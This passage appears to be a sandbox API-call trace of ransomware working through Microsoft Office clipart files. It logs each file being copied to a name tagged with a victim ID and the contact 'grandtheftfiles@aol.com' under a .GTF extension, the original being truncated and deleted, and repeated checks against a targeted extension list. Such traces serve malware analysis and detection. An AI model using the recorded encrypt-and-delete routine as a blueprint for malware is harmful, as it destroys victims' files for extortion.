	[0176.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.683] lstrlenW (lpString=".jpg") returned 4
	[0176.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.683] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.683] lstrlenW (lpString="J0152722.WMF") returned 12
	[0176.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.685] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=7020) returned 1
	[0176.685] CloseHandle (hObject=0x570) returned 1
	[0176.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220
	[0176.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.685] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.685] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.686] GetLastError () returned 0x0
	[0176.686] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1b6c, lpOverlapped=0x0) returned 1
	[0176.688] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1b70, lpOverlapped=0x0) returned 1
	[0176.689] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.689] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.689] SetEndOfFile (hFile=0x588) returned 1
	[0176.690] CloseHandle (hObject=0x588) returned 1
	[0176.690] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.690] SetEndOfFile (hFile=0x570) returned 1
	[0176.693] CloseHandle (hObject=0x570) returned 1
	[0176.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1
	[0176.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.694] lstrlenW (lpString=".doc") returned 4
	[0176.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.694] lstrlenW (lpString=".docx") returned 5
	[0176.694] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.694] lstrlenW (lpString=".pdf") returned 4
	[0176.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.694] lstrlenW (lpString=".xls") returned 4
	[0176.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.694] lstrlenW (lpString=".xlsx") returned 5
	[0176.694] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.694] lstrlenW (lpString=".ppt") returned 4
	[0176.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.695] lstrlenW (lpString=".zip") returned 4
	[0176.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.695] lstrlenW (lpString=".rar") returned 4
	[0176.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.695] lstrlenW (lpString=".bz2") returned 4
	[0176.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.695] lstrlenW (lpString=".7z") returned 3
	[0176.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.695] lstrlenW (lpString=".dbf") returned 4
	[0176.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.695] lstrlenW (lpString=".1cd") returned 4
	[0176.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.695] lstrlenW (lpString=".jpg") returned 4
	[0176.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.695] lstrlenW (lpString=".doc") returned 4
	[0176.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.695] lstrlenW (lpString=".docx") returned 5
	[0176.695] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.695] lstrlenW (lpString=".pdf") returned 4
	[0176.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.696] lstrlenW (lpString=".xls") returned 4
	[0176.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.696] lstrlenW (lpString=".xlsx") returned 5
	[0176.696] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.696] lstrlenW (lpString=".ppt") returned 4
	[0176.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.696] lstrlenW (lpString=".zip") returned 4
	[0176.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.696] lstrlenW (lpString=".rar") returned 4
	[0176.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.696] lstrlenW (lpString=".bz2") returned 4
	[0176.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.696] lstrlenW (lpString=".7z") returned 3
	[0176.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.696] lstrlenW (lpString=".dbf") returned 4
	[0176.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.696] lstrlenW (lpString=".1cd") returned 4
	[0176.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0176.696] lstrlenW (lpString=".jpg") returned 4
	[0176.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.696] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.696] lstrlenW (lpString="J0152876.WMF") returned 12
	[0176.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.698] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=7876) returned 1
	[0176.698] CloseHandle (hObject=0x570) returned 1
	[0176.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220
	[0176.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.698] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.698] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.699] GetLastError () returned 0x0
	[0176.699] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1ec4, lpOverlapped=0x0) returned 1
	[0176.701] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0176.702] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.702] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.702] SetEndOfFile (hFile=0x588) returned 1
	[0176.703] CloseHandle (hObject=0x588) returned 1
	[0176.703] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.703] SetEndOfFile (hFile=0x570) returned 1
	[0176.706] CloseHandle (hObject=0x570) returned 1
	[0176.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1
	[0176.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.707] lstrlenW (lpString=".doc") returned 4
	[0176.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.707] lstrlenW (lpString=".docx") returned 5
	[0176.707] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.707] lstrlenW (lpString=".pdf") returned 4
	[0176.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.707] lstrlenW (lpString=".xls") returned 4
	[0176.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.707] lstrlenW (lpString=".xlsx") returned 5
	[0176.708] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.708] lstrlenW (lpString=".ppt") returned 4
	[0176.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.708] lstrlenW (lpString=".zip") returned 4
	[0176.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.708] lstrlenW (lpString=".rar") returned 4
	[0176.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString=".bz2") returned 4
	[0176.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString=".7z") returned 3
	[0176.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.708] lstrlenW (lpString=".dbf") returned 4
	[0176.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.708] lstrlenW (lpString=".1cd") returned 4
	[0176.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.708] lstrlenW (lpString=".jpg") returned 4
	[0176.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.708] lstrlenW (lpString=".doc") returned 4
	[0176.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString=".docx") returned 5
	[0176.708] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.708] lstrlenW (lpString=".pdf") returned 4
	[0176.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.708] lstrlenW (lpString=".xls") returned 4
	[0176.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.709] lstrlenW (lpString=".xlsx") returned 5
	[0176.709] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.709] lstrlenW (lpString=".ppt") returned 4
	[0176.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.709] lstrlenW (lpString=".zip") returned 4
	[0176.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.709] lstrlenW (lpString=".rar") returned 4
	[0176.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.709] lstrlenW (lpString=".bz2") returned 4
	[0176.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.709] lstrlenW (lpString=".7z") returned 3
	[0176.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.709] lstrlenW (lpString=".dbf") returned 4
	[0176.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.709] lstrlenW (lpString=".1cd") returned 4
	[0176.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0176.709] lstrlenW (lpString=".jpg") returned 4
	[0176.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.709] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.709] lstrlenW (lpString="J0152878.WMF") returned 12
	[0176.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.710] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=14888) returned 1
	[0176.711] CloseHandle (hObject=0x570) returned 1
	[0176.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220
	[0176.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.711] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.711] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.712] GetLastError () returned 0x0
	[0176.712] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3a28, lpOverlapped=0x0) returned 1
	[0176.867] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3a30, lpOverlapped=0x0) returned 1
	[0176.893] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.893] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.893] SetEndOfFile (hFile=0x588) returned 1
	[0176.893] CloseHandle (hObject=0x588) returned 1
	[0176.893] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.893] SetEndOfFile (hFile=0x570) returned 1
	[0176.896] CloseHandle (hObject=0x570) returned 1
	[0176.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0177.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1
	[0177.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.309] lstrlenW (lpString=".doc") returned 4
	[0177.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.309] lstrlenW (lpString=".docx") returned 5
	[0177.309] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.309] lstrlenW (lpString=".pdf") returned 4
	[0177.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.309] lstrlenW (lpString=".xls") returned 4
	[0177.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.309] lstrlenW (lpString=".xlsx") returned 5
	[0177.309] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.309] lstrlenW (lpString=".ppt") returned 4
	[0177.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.309] lstrlenW (lpString=".zip") returned 4
	[0177.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.309] lstrlenW (lpString=".rar") returned 4
	[0177.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.309] lstrlenW (lpString=".bz2") returned 4
	[0177.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.309] lstrlenW (lpString=".7z") returned 3
	[0177.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.310] lstrlenW (lpString=".dbf") returned 4
	[0177.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.310] lstrlenW (lpString=".1cd") returned 4
	[0177.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.310] lstrlenW (lpString=".jpg") returned 4
	[0177.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.310] lstrlenW (lpString=".doc") returned 4
	[0177.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString=".docx") returned 5
	[0177.310] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.310] lstrlenW (lpString=".pdf") returned 4
	[0177.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString=".xls") returned 4
	[0177.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.310] lstrlenW (lpString=".xlsx") returned 5
	[0177.310] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.310] lstrlenW (lpString=".ppt") returned 4
	[0177.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.310] lstrlenW (lpString=".zip") returned 4
	[0177.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.310] lstrlenW (lpString=".rar") returned 4
	[0177.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString=".bz2") returned 4
	[0177.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.310] lstrlenW (lpString=".7z") returned 3
	[0177.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.311] lstrlenW (lpString=".dbf") returned 4
	[0177.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0177.311] lstrlenW (lpString=".1cd") returned 4
	[0177.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
